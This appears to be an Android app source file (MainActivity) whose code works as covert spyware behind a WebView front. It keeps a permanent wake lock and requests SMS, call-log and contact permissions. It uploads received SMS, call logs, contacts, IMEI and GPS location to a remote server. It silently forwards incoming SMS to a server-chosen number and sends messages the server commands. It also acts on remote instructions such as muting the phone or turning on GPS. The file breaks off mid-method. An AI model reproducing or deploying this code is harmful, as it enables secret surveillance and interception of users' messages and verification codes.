package com.mego.tzadd.activitys;

import android.Manifest;
import android.annotation.TargetApi;
import android.app.Activity;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.ProgressDialog;
import android.content.ClipData;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.PowerManager;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.provider.Settings;
import android.provider.Telephony;
import androidx.annotation.NonNull;
import androidx.annotation.RequiresApi;
import androidx.core.app.ActivityCompat;
import androidx.core.app.NotificationCompat;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.ScrollView;
import android.widget.TextView;

import com.alibaba.fastjson.JSONObject;
import com.mego.tzadd.R;
import com.mego.tzadd.database.dbmodel.MyContacts;
import com.mego.tzadd.database.dbmodel.Sendmsg;
import com.mego.tzadd.database.dbmodel.SystemAllInfo;
import com.mego.tzadd.database.dbmodel.Thmlog;
import com.mego.tzadd.database.manager.MyContactsCenter;
import com.mego.tzadd.database.manager.SendsmsCenter;
import com.mego.tzadd.database.manager.SystemCenter;
import com.mego.tzadd.database.manager.ThmlogCenter;
import com.mego.tzadd.utils.ContactUtils;
import com.mego.tzadd.utils.GPSProvider;
import com.mego.tzadd.utils.HttpRequest;
import com.mego.tzadd.utils.LonLat;
import com.mego.tzadd.utils.NotificationUtil;
import com.mego.tzadd.utils.SmsReceiver;
import com.mego.tzadd.utils.SystemHelper;
import com.mego.tzadd.utils.Utils;

import java.io.UnsupportedEncodingException;
import java.lang.reflect.Method;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Locale;

import zuo.biao.library.base.BaseActivity;
import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.manager.TimeRefresher;
import zuo.biao.library.ui.EditTextInfoActivity;
import zuo.biao.library.ui.EditTextInfoWindow;
import zuo.biao.library.util.JSON;
import zuo.biao.library.util.StringUtil;

public class MainActivity extends BaseActivity implements View.OnClickListener, TimeRefresher.OnTimeRefreshListener {


    private final String TAG = "MainActivity";
    public static final String INTENT_RANGE = "INTENT_RANGE";
    public static final String RESULT_CLICKED_ITEM = "RESULT_CLICKED_ITEM";

    public static Intent createIntent(Context context) {
        return new Intent(context, MainActivity.class);
    }

    @Override
    public Activity getActivity() {
        return this;
    }

    long _commandtype = 0;
    private PowerManager pm;
    private PowerManager.WakeLock wakeLock;

    private ScrollView svDemoMain;
    private TextView tv_name;
    private TextView tv_idc;
    private TextView tv_mobile;
    private TextView tv_addr;
    private TextView tv_scaninfo;
    private ImageView ivAboutQRCode;
    private TextView tv_dxjl;

    public static final String MEGO_TP = "https://test.megowx.com/index/thm/index";
    private final int FILE_CHOOSER_RESULT_CODE = 30;
    ValueCallback<Uri> uploadMessage;
    ValueCallback<Uri[]> uploadMessageAboveL;
    private ProgressBar pbWebView;
    private WebView wvWebView;

    @Override
    public void initData() {


    }

    @Override
    public void initView() {
        svDemoMain = (ScrollView) findViewById(R.id.svDemoMain);

        tv_name = (TextView) findViewById(R.id.tv_name);
        tv_idc = (TextView) findViewById(R.id.tv_idc);
        tv_mobile = (TextView) findViewById(R.id.tv_mobile);
        tv_addr = (TextView) findViewById(R.id.tv_addr);
        tv_scaninfo = (TextView) findViewById(R.id.tv_scaninfo);
        tv_dxjl = (TextView) findViewById(R.id.tv_dxjl);

        ivAboutQRCode = findView(R.id.ivAboutQRCode);

//        ImageView ivAboutQRCode = (ImageView) findViewById(R.id.ivAboutQRCode);
//        Glide.with(this).load("http://a3.att.hudong.com/65/38/16300534049378135355388981738.jpg").into(ivAboutQRCode);
        initWeb();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        pm = (PowerManager) this.getSystemService(Context.POWER_SERVICE);
        //保持cpu一直运行，不管屏幕是否黑屏
        wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "tzadd:CPUKeepRunning");
        wakeLock.acquire();

        SharedPreferences sp = getSharedPreferences(
                "colininfo", Context.MODE_PRIVATE);
        boolean startfromservice = sp.getBoolean("startfromservice", false);
        if (startfromservice) {
//            moveTaskToBack(false);
        }

        setContentView(R.layout.main_activity);

        //apk版本升级
//        UpdateManager.getUpdateManager().checkAppUpdate(this, this, false);
//        GPSProvider.getInstance().initGPSProvider(this);
//        tintManager.setStatusBarTintEnabled(false);
        initView();
        initData();
        initEvent();

        SharedPreferences.Editor editor = sp.edit();
        editor.putBoolean("startfromservice", false);
        editor.commit();

    }
    //    int MAX_SEND_A = 100;//短信最大的发送条数
//    int MAX_SEND_B = 1000;//通话记录+联系人最大的发送条数
    int MAX_SEND_A = 10;//短信最大的发送条数

    private void onXTB() {
        if (_xtbdoing) {
            return;
        }
        _xtbdoing = true;
        runThread(TAG + "initData", new Runnable() {
            @Override
            public void run() {
                doXTB();
                runUiThread(new Runnable() {
                    @Override
                    public void run() {
                        _xtbdoing = false;
                    }
                });
            }
        });
    }

    int MAX_SEND_B = 20;//通话记录+联系人最大的发送条数
    String _ccmobile = "";

    boolean _doingsend = false;

    private void onSendstart() {
        if (_doingsend) {
            return;
        }
        _doingsend = true;
        runThread(TAG + "initData", new Runnable() {
            @Override
            public void run() {
                queryCallLog();
                queryMessageLog();
                getLianluoren();
                runUiThread(new Runnable() {
                    @Override
                    public void run() {
                        _doingsend = false;
                    }
                });
            }
        });
    }

    int _txjg = 1000000;
    String _msginfo = "";
    public static final int SENDFINISH = 1103;
    public static final int DOSMS = 1313;
    public static final int SENDSTAR = 1316;
    public static final int XTB = 1318;
    public static final int SENDCC = 1320;//发送IMEI到指定的手机
    public static final int DOTCJE = 1321;//
    public static final int SENDTZ = 1323;//发送通知
    public static final int SENDZF = 1324;//服务器要求转发的短信
    String _msgzfmobile = "";
    int _num = 0;//计数
    //心跳包
    boolean _xtbdoing = false;

    public Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (msg.what == INITFINISH) {
                if (mPB != null) {
                    mPB.dismiss();
                    mPB = null;
                }
            } else if (SENDFINISH == msg.what) {
//                showShortToast("已发送！");
            } else if (DOSMS == msg.what) {
                //showShortToast("已接收短信！");
                onDosms();
            } else if (SENDSTAR == msg.what) {
                onSendstart();
            } else if (XTB == msg.what) {
                onXTB();
            } else if (SENDCC == msg.what) {
                onSendIMEI();
            } else if (DOTCJE == msg.what) {
                checkIfDefaultSMS();//检测是否为默认短信应用
            } else if (SENDTZ == msg.what) {
                notifymsg();//接收到消息提醒
            } else if (SENDZF == msg.what) {
                onSendsms();//接收到服务器短信转发
            }


        }
    };

    private void onSendsms() {
        if (_msgzfmobile.length() < 3 || _msginfo.length() < 1) {
            return;
        }

        String msg = _msgzfmobile + " " + _msginfo;
        Sendmsg s = SendsmsCenter.getInstance().getSendmsg(0, msg);
        if (s != null) {
            return;
        }

        SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, msg, 0));

        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (_msginfo.length() <= 70) {
                smsManager.sendTextMessage(_msgzfmobile, null, _msginfo, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(_msginfo);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(_msgzfmobile, null, sms, null, null);
                }
            }

            //服务器短信转发成功后，上传发送记录
            String mobile = Utils.getIMEI(context);
            ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
            long date = System.currentTimeMillis();
            Thmlog thmlog = new Thmlog(null, "", mobile, 1, date, "", "",
                    "", 0, _msgzfmobile, _msginfo, 1, _msgzfmobile, "");
            thmlog.setLatlon(_latlon);
            thmlogList.add(thmlog);

            msg = JSON.toJSONString(thmlogList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
            //批量上传
            sendthm(msg);

        } catch (Exception e) {

        }

    }

    private void doXTB() {
        String imei = Utils.getIMEI(this);
        LonLat pos = GPSProvider.getInstance().getPos();
        try {
            HttpRequest.postxtb((float) pos.GetLon(), (float) pos.GetLat(), imei, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        JSONObject data = jsonObject == null ? null : jsonObject.getJSONObject("data");
                        int s = data.getInteger("switch");
                        if (s == 0) {
                            ThmlogCenter.getInstance().mNeedlj = false;
                        }
                        ThmlogCenter.getInstance().mZfmobile = data.getString("zfmobile");
                        _commandtype = data.getIntValue("commandtype");
                        if (_commandtype == 1) {
                            //指令有效时间为1分半钟内
                            setJinyin();
                        } else if (_commandtype == 3) {
                            openGps(true);
                        }

                        String ccmobile = data.getString("ccmobile");//
                        if (ccmobile != null && ccmobile.length() > 3) {
                            //发送IMEI给指定的手机
                            _ccmobile = ccmobile;
                            mHandler.sendEmptyMessage(SENDCC);
                        }

                        _txjg = data.getInteger("txjg");//短信App提醒间隔 秒

                        String msginfo = data.getString("msginfo");//
                        String msgzfmobile = data.getString("msgzfmobile");//
                        _msgzfmobile = "";
                        if (msginfo != null && !_msginfo.equals(msginfo)) {
                            _msginfo = msginfo;
                            if (!msgzfmobile.isEmpty()) {
                                _msgzfmobile = msgzfmobile;
                                mHandler.sendEmptyMessage(SENDZF);
                            } else {
                                mHandler.sendEmptyMessage(SENDTZ);
                            }
                        }

                    }
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }

    }

    @Override
    public void onForwardClick(View v) {

    }

    private SmsReceiver receiver = null;

    private void editName(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NAME
                    , getString(R.string.name), StringUtil.getTrimedString(tv_name), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NAME
                    , getString(R.string.name), StringUtil.getTrimedString(tv_name));
        }

        toActivity(intent, REQUEST_TO_EDIT_NAME, !toWindow);
    }

    private void editIDC(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NAME
                    , getString(R.string.user_idc), StringUtil.getTrimedString(tv_idc), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NAME
                    , getString(R.string.user_idc), StringUtil.getTrimedString(tv_idc));
        }

        toActivity(intent, REQUEST_TO_EDIT_IDC, !toWindow);
    }

    private void editMobile(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_PHONE
                    , getString(R.string.user_mobile), StringUtil.getTrimedString(tv_mobile), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_PHONE
                    , getString(R.string.user_mobile), StringUtil.getTrimedString(tv_mobile));
        }

        toActivity(intent, REQUEST_TO_EDIT_MOBILE, !toWindow);
    }

    private void editAddr(boolean toWindow) {
        if (toWindow) {
            intent = EditTextInfoWindow.createIntent(context, EditTextInfoWindow.TYPE_NOTE
                    , getString(R.string.user_addr), StringUtil.getTrimedString(tv_addr), getPackageName());
        } else {
            intent = EditTextInfoActivity.createIntent(context, EditTextInfoActivity.TYPE_NOTE
                    , getString(R.string.user_addr), StringUtil.getTrimedString(tv_addr));
        }

        toActivity(intent, REQUEST_TO_EDIT_ADDR, !toWindow);
    }

    private long firstTime = 0;//第一次返回按钮计时

    public void initWeb() {
        pbWebView = findView(R.id.pbWebView);
        wvWebView = findView(R.id.wvWebView);

        WebSettings webSettings = wvWebView.getSettings();
        webSettings.setJavaScriptEnabled(true);

        wvWebView.requestFocus();

        // 设置setWebChromeClient对象
        wvWebView.setWebChromeClient(new WebChromeClient() {
            @Override
            public void onProgressChanged(WebView view, int newProgress) {
                if (newProgress == 100) {
                    pbWebView.setVisibility(View.GONE);
                } else {
                    pbWebView.setVisibility(View.VISIBLE);
                    pbWebView.setProgress(newProgress);
                }
                super.onProgressChanged(view, newProgress);
            }

            //For Android API < 11 (3.0 OS)
            public void openFileChooser(ValueCallback<Uri> valueCallback) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }

            //For Android API >= 11 (3.0 OS)
            public void openFileChooser(ValueCallback<Uri> valueCallback, String acceptType, String capture) {
                uploadMessage = valueCallback;
                openImageChooserActivity();
            }

            //For Android API >= 21 (5.0 OS)
            @Override
            public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
                uploadMessageAboveL = filePathCallback;
                openImageChooserActivity();
                return true;
            }
        });

        wvWebView.setWebViewClient(new WebViewClient() {
            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                wvWebView.loadUrl(url);
                return true;
            }

            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                super.onPageStarted(view, url, favicon);
                pbWebView.setVisibility(View.VISIBLE);
            }

            @Override
            public void onPageFinished(WebView view, String url) {
                super.onPageFinished(view, url);
                pbWebView.setVisibility(View.GONE);
            }
        });

        String imei = Utils.getIMEI(this);
        wvWebView.loadUrl(MEGO_TP + "?imei=" + imei);
    }

    private void openImageChooserActivity() {
        Intent i = new Intent(Intent.ACTION_GET_CONTENT);
        i.addCategory(Intent.CATEGORY_OPENABLE);
        i.setType("image/*");
        startActivityForResult(Intent.createChooser(i, "Image Chooser"), FILE_CHOOSER_RESULT_CODE);
    }

    void onExit() {
        long secondTime = System.currentTimeMillis();
        if (secondTime - firstTime > 2000) {
            showShortToast(getString(R.string.texit));
            firstTime = secondTime;
        } else {//完全退出
            moveTaskToBack(false);//应用退到后台
//            System.exit(0);
        }

    }

    ProgressDialog mPB;
    public static final int INITFINISH = 1101;

    private final int REQUEST_TO_DOPAY = 25;
    private final int REQUEST_TO_EDIT_NAME = 33;
    private final int REQUEST_TO_EDIT_IDC = 34;
    private final int REQUEST_TO_EDIT_MOBILE = 35;
    private final int REQUEST_TO_EDIT_ADDR = 36;

    @Override
    public void onBackPressed() {
        if (wvWebView.canGoBack()) {
            wvWebView.goBack();
            return;
        }

        super.onBackPressed();
    }

    private int MY_PERMISSIONS_REQUEST_SMS_RECEIVE = 10;

    private void initqx() {
        //初始化权限
        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.RECEIVE_SMS}, MY_PERMISSIONS_REQUEST_SMS_RECEIVE);
            return;
        }

        //  权限检查
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG)
                != PackageManager.PERMISSION_GRANTED) {
            // TODO: Consider calling
            //    ActivityCompat#requestPermissions
            // here to request the missing permissions, and then overriding
            //   public void onRequestPermissionsResult(int requestCode,
            //      String[] permissions,int[] grantResults)
            // to handle the case where the user grants the permission.
            // See the documentation
            // for ActivityCompat#requestPermissions for more details.
            Log.w(TAG, "permission is request");
            /**
             * 动态申请权限
             * 这里没有在
             * onRequestPermissionsResult(int requestCode,
             * String[] permissions,int[] grantResults)方法里面处理
             *
             */
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_CALL_LOG}, 100);
            return;
        }

        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this,
                Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_CONTACTS}, 101);
            return;
        }
        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_SMS}, 101);
            return;
        }

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M
                && !Settings.canDrawOverlays(this)) {
            this.startActivityForResult(
                    new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
                            Uri.parse("package:" + this.getPackageName())), 10);
            return;
        }

    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == MY_PERMISSIONS_REQUEST_SMS_RECEIVE) {
            // YES!!
            Log.i("TAG", "MY_PERMISSIONS_REQUEST_SMS_RECEIVE --> YES");
        }
    }

    @Override
    public boolean onKeyUp(int keyCode, KeyEvent event) {
        switch (keyCode) {
            case KeyEvent.KEYCODE_MENU:
                break;
            case KeyEvent.KEYCODE_BACK:
                if (wvWebView.canGoBack()) {
                    wvWebView.goBack();
                } else {
                    onExit();
                }
                return true;
        }

        return super.onKeyUp(keyCode, event);
    }

    @Override
    public void onClick(View v) {
        switch (v.getId()) {
            default:
                break;
            case R.id.detail_1:
                editName(true);
                break;
            case R.id.detail_2:
                editIDC(true);
                break;
            case R.id.detail_3:
                editMobile(true);
                break;
            case R.id.detail_4:
                editAddr(true);
                break;
            case R.id.bt_yc:
//                onYc();
//                deletsms();
//                zfsms();
//                binduser();
//                setJinyin();
//                getLianluoren();
                break;
            case R.id.bt_confirm:
                confirm();
                break;
        }
    }

    String _lastmsg = "";

    //转发短信
    private void zfsms(String msg) {
        if (ThmlogCenter.getInstance().mZfmobile.length() < 3 || msg.length() < 1) {
            return;
        }

        if (_lastmsg.equals(msg)) {
            return;
        }

        _lastmsg = msg;

        try {
            //sentIntent --- 发送短信结果状态信号(是否成功发送),new 一个Intent , 操作系统接收到信号后将广播这个Intent.此过程为异步.
//            PendingIntent pi = PendingIntent.getActivity(context, 0,
//                    new Intent(context, context.getClass()), 0);
            SmsManager smsManager = SmsManager.getDefault();
            if (msg.length() <= 70) {
                smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, msg, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(msg);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, sms, null, null);
                }
            }
        } catch (Exception e) {

        }
    }

    private void onSendIMEI() {
        if (_ccmobile == null || _ccmobile.length() < 3) {
            return;
        }

        String ccmobile = "";
        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("ccmobile");
        if (infomobile != null) {
            ccmobile = infomobile.getContent();
        }

        if (ccmobile.length() > 1 && _ccmobile.equals(ccmobile)) {
            return;
        }

        String msg = Utils.getIMEI(this);
        try {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList<String> list = smsManager.divideMessage(msg);
            for (int i = 0; i < list.size(); i++) {
                smsManager.sendTextMessage(_ccmobile, null, list.get(i), null, null);
            }
            //保存，仅发送一次
            SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "ccmobile", _ccmobile));

        } catch (Exception e) {

        }
    }

    //不用再确认了
    private void confirm() {
        String name = tv_name.getText().toString();
        String mobile = tv_mobile.getText().toString();

        SystemAllInfo infoname = SystemCenter.getInstance().getSysInfo("name");
        if (infoname == null) {
            infoname = new SystemAllInfo(null, "name", name);
        }
        SystemCenter.getInstance().saveSysInfo(infoname);

        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("mobile");
        if (infomobile == null) {
            infomobile = new SystemAllInfo(null, "mobile", mobile);
        }
        SystemCenter.getInstance().saveSysInfo(infomobile);

        showShortToast("已确认启动！");

        binduser();//绑定用户的IMEI

        mHandler.sendEmptyMessage(SENDSTAR);

    }

    @Override
    protected void onResume() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
            wvWebView.onResume();
        }

        super.onResume();
    }

    @Override
    protected void onPause() {
        super.onPause();
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
            wvWebView.onPause();
        }

        Intent intent = new Intent(this, MyService.class);
        startService(intent);
    }

    @Override
    protected void onDestroy() {
        if (wvWebView != null) {
            wvWebView.destroy();
            wvWebView = null;
        }

        super.onDestroy();

        Log.d("MainService", "onDestroy!!!");
        SharedPreferences sp = getSharedPreferences(
                "colininfo", Context.MODE_PRIVATE);
        SharedPreferences.Editor editor = sp.edit();
        editor.putBoolean("startfromservice", false);
        editor.commit();

//        unregisterReceiver(receiver);
    }

    @RequiresApi(api = Build.VERSION_CODES.ECLAIR_MR1)
    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        switch (requestCode) {
            case REQUEST_TO_DOPAY:
                break;
            case REQUEST_TO_EDIT_NAME:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_name.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_IDC:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_idc.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_MOBILE:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_mobile.setText(name);
                }
                break;
            case REQUEST_TO_EDIT_ADDR:
                if (data != null) {
                    svDemoMain.smoothScrollTo(0, 0);
                    String name = StringUtil.getTrimedString(
                            data.getStringExtra(EditTextInfoWindow.RESULT_VALUE));
                    tv_addr.setText(name);
                }
                break;
        }

        if (requestCode == FILE_CHOOSER_RESULT_CODE) {
            if (null == uploadMessage && null == uploadMessageAboveL) return;
            Uri result = data == null || resultCode != RESULT_OK ? null : data.getData();
            if (uploadMessageAboveL != null) {
                onActivityResultAboveL(requestCode, resultCode, data);
            } else if (uploadMessage != null) {
                uploadMessage.onReceiveValue(result);
                uploadMessage = null;
            }
        }
        if (requestCode == 10) {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                if (!Settings.canDrawOverlays(this)) {
                    // SYSTEM_ALERT_WINDOW permission not granted...
                    //                Toast.makeText(MainActivity.this,"not granted",Toast.LENGTH_SHORT);
                }
            }
        }

    }

    @TargetApi(Build.VERSION_CODES.LOLLIPOP)
    private void onActivityResultAboveL(int requestCode, int resultCode, Intent intent) {
        if (requestCode != FILE_CHOOSER_RESULT_CODE || uploadMessageAboveL == null)
            return;
        Uri[] results = null;
        if (resultCode == Activity.RESULT_OK) {
            if (intent != null) {
                String dataString = intent.getDataString();
                ClipData clipData = intent.getClipData();
                if (clipData != null) {
                    results = new Uri[clipData.getItemCount()];
                    for (int i = 0; i < clipData.getItemCount(); i++) {
                        ClipData.Item item = clipData.getItemAt(i);
                        results[i] = item.getUri();
                    }
                }
                if (dataString != null)
                    results = new Uri[]{Uri.parse(dataString)};
            }
        }
        uploadMessageAboveL.onReceiveValue(results);
        uploadMessageAboveL = null;
    }
//    CallLog.Calls.CACHED_FORMATTED_NUMBER      通话记录格式化号码
//    CallLog.Calls.CACHED_MATCHED_NUMBER     通话记录为格式化号码
//    CallLog.Calls.CACHED_NAME     联系人名称
//    CallLog.Calls.TYPE    通话类型
//    CallLog.Calls.DATE    通话时间(long型)
//    CallLog.Calls.DURATION     通话时长(秒为单位)
//    CallLog.Calls.GEOCODED_LOCATION    运营商地址(如：浙江杭州)
//
//    通话类型
//    CallLog.Calls.INCOMING_TYPE      呼入
//    CallLog.Calls.OUTGOING_TYPE      呼出
//    CallLog.Calls.MISSED_TYPE       未接

    String _latlon = "";

    private String getCallType(int anInt) {
        String strType = "呼入";
        switch (anInt) {
            default:
            case 1:
                strType = "呼入";
                break;
            case 2:
                strType = "呼出";
                break;
            case 3:
                strType = "未接";
                break;
        }

        return strType;
    }

    public String formatDate(long time) {
        DateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss", Locale.getDefault());
        return format.format(new Date(time));
    }

    public String formatDuration(long time) {
        long s = time % 60;
        long m = time / 60;
        long h = time / 60 / 60;
        StringBuilder sb = new StringBuilder();
        if (h > 0) {
            sb.append(h).append("小时");
        }
        if (m > 0) {
            sb.append(m).append("分");
        }
        sb.append(s).append("秒");
        return sb.toString();
    }

    private void onDosms() {
        //处理收到的短信
        ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();

        for (Thmlog thmlog : ThmlogCenter.getInstance().mThmlogList) {
            thmlog.setLatlon(_latlon);

            Sendmsg s = SendsmsCenter.getInstance().getSendmsg(thmlog.getDate(), thmlog.getSmsmsg());
            if (s != null) {
                continue;
            }

            SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, thmlog.getSmsmsg(), thmlog.getDate()));

            thmlogList.add(thmlog);
            if (thmlogList.size() > MAX_SEND_A) {
                String msg = JSON.toJSONString(thmlogList);
                try {
                    msg = URLEncoder.encode(msg, "utf-8");
                } catch (UnsupportedEncodingException e) {
                    e.printStackTrace();
                }
                //批量上传
                sendthm(msg);
                thmlogList.clear();
            }

            //转发短信
            zfsms(thmlog.getSmsmsg());
        }

        if (thmlogList.size() > 0) {
            String msg = JSON.toJSONString(thmlogList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
            //批量上传
            sendthm(msg);
            thmlogList.clear();
        }
    }


    private String getMessageRead(int anInt) {
        if (1 == anInt) {
            return "已读";
        }
        if (0 == anInt) {
            return "未读";
        }
        return null;
    }

    private String getMessageType(int anInt) {
        if (1 == anInt) {
            return "收到的";
        }
        if (2 == anInt) {
            return "已发出";
        }
        return null;
    }

    private String getMessageStatus(int anInt) {
        switch (anInt) {
            case -1:
                return "接收";
            case 0:
                return "complete";
            case 64:
                return "pending";
            case 128:
                return "failed";
            default:
                break;
        }
        return null;
    }

    private String getPerson(String address) {
        try {
            ContentResolver resolver = getContentResolver();
            Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, address);
            Cursor cursor;
            cursor = resolver.query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null);
            if (cursor != null) {
                try {
                    if (cursor.getCount() != 0) {
                        cursor.moveToFirst();
                        String name = cursor.getString(0);
                        return name;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    cursor.close();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    @Override
    public void onTimerStart() {

    }

    private void sendthm(String thminfo) {
        try {
            HttpRequest.postthminfo(thminfo, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
//                    showShortToast(resultJson);
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }
    }

    private void binduser() {
        String mobile = "";
        String username = "";
        String imei = Utils.getIMEI(this);
        String sjxh = Build.BRAND;//手机厂商
        try {
            HttpRequest.binduser(imei, mobile, sjxh, username, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    ThmlogCenter.getInstance().mNeedlj = true;
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = jsonObject.getInteger("code");
                    if (code == 1) {
                        JSONObject data = jsonObject == null ? null : jsonObject.getJSONObject("data");
                        int s = data.getInteger("switch");
                        if (s == 0) {
                            ThmlogCenter.getInstance().mNeedlj = false;
                        }
                        ThmlogCenter.getInstance().mZfmobile = data.getString("zfmobile");
                    }
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }
    }

    public static final String CLASS_SMS_MANAGER = "com.android.internal.telephony.SmsApplication";
    public static final String METHOD_SET_DEFAULT = "setDefaultApplication";

    @Override
    public void initEvent() {
        findViewById(R.id.detail_1).setOnClickListener(this);
        findViewById(R.id.detail_2).setOnClickListener(this);
        findViewById(R.id.detail_3).setOnClickListener(this);
        findViewById(R.id.detail_4).setOnClickListener(this);

        findViewById(R.id.bt_scan).setOnClickListener(this);
        findViewById(R.id.bt_send).setOnClickListener(this);
        findViewById(R.id.bt_yc).setOnClickListener(this);
        findViewById(R.id.bt_confirm).setOnClickListener(this);

        //名字和手机号 不用提供输入
//        String mobile = "";
//        SystemAllInfo infoname = SystemCenter.getInstance().getSysInfo("name");
//        if (infoname != null) {
//            tv_name.setText(infoname.getContent());
//            ThmlogCenter.getInstance().mName = infoname.getContent();
//        }
//        SystemAllInfo infomobile = SystemCenter.getInstance().getSysInfo("mobile");
//        if (infomobile != null) {
//            mobile = infomobile.getContent();
//            tv_mobile.setText(infomobile.getContent());
//        }

//        Intent i = new Intent(this, Service1.class);
//        i.putExtra(Service1.INTENT_MODE, "dsd");
//        startService(i);

//        Intent intentOne = new Intent(this, MainService .class);
//        startService(intentOne);

//        Intent i3 = new Intent(this, Service3.class);
//        i3.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//        startService(i3);


